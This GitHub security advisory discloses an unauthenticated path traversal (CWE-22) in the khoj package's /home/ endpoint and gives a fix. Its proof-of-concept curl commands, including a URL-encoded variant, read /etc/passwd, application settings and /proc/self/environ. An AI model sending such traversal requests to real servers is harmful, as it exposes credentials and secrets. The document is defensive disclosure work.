GitHub Advisoryadvisory · PyPI
GHSA-62mm-xwmv-crhg khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- khoj
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-09-25
Affected packages
• PyPI khoj: >= 2.0.0-beta.23, < 2.0.0-beta.25 → fixed in 2.0.0-beta.25
Description
Summary
The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.
Details
Vulnerable code — `src/khoj/routers/web_client.py` lines 46-49:
```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
"""Serve static files from the home landing page directory"""
return FileResponse(constants.home_directory / file_path)
```
Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6:
```python
home_directory = web_directory / "home/"
```
What is missing:
• No `..` traversal filtering
• No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)
• No authentication decorator (`@requires(["authenticated"])` is absent)
• Starlette's `FileResponse` does NOT perform path traversal protection
Path resolution:
```
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
```
PoC
```bash
Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd
Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py
Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
```
URL-encoded variant (may bypass some reverse proxy normalization):
```bash
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```
Impact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
• Read application configuration — Django `SECRET_KEY`, database credentials, API keys
• Read system files — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`
• Exfiltrate sensitive data — Any file readable by the server process
• Facilitate further attacks — Leaked credentials enable deeper compromise
No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.
Recommended fix
Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:
```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
resolved = (constants.home_directory / file_path).resolve()
if not resolved.is_relative_to(constants.home_directory.resolve()):
raise HTTPException(status_code=404)
return FileResponse(resolved)
```
Related
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg web
- https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf web
- https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a web
- https://github.com/khoj-ai/khoj package
- https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25 web